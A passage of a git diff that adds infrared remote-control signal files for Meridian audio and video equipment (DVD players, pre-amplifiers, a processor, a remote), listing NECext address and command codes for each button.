b/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir @@ -0,0 +1,638 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: SLOW/PAGE_FORWARD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: SUBTITLE_ON_/_OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: SUBTITLE_LANGUAGE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2A 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2A 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2D 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: PREVIOUS_PAGE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5F 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: TITRE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir new file mode 100644 index 000000000..a9a19797c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir new file mode 100644 index 000000000..5deba9916 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir @@ -0,0 +1,494 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 28 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir new file mode 100644 index 000000000..ddaac1b1c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: <>SRCH +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6B 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6C 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: CDR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir new file mode 100644 index 000000000..d82447b8e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir new file mode 100644 index 000000000..7809740d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir new file mode 100644 index 000000000..5fe5061d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir @@ -0,0 +1,1130 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 0B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 0_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 1B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 1_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 1_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 2B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 2_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 2_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 3B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 3_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 3_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 4B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 4_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 4_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 5B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 5_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 5_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 6B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 6_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 7B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 7_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 7_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 8B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 8_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 8_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: 9B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: 9_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: 9_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: PAGE_> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: PAGE_>_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0A 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: OFF_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: OFF_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: F_BAND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOL_UP_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOL_UP_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: VOL_DOWN_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: VOL_DOWN_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: 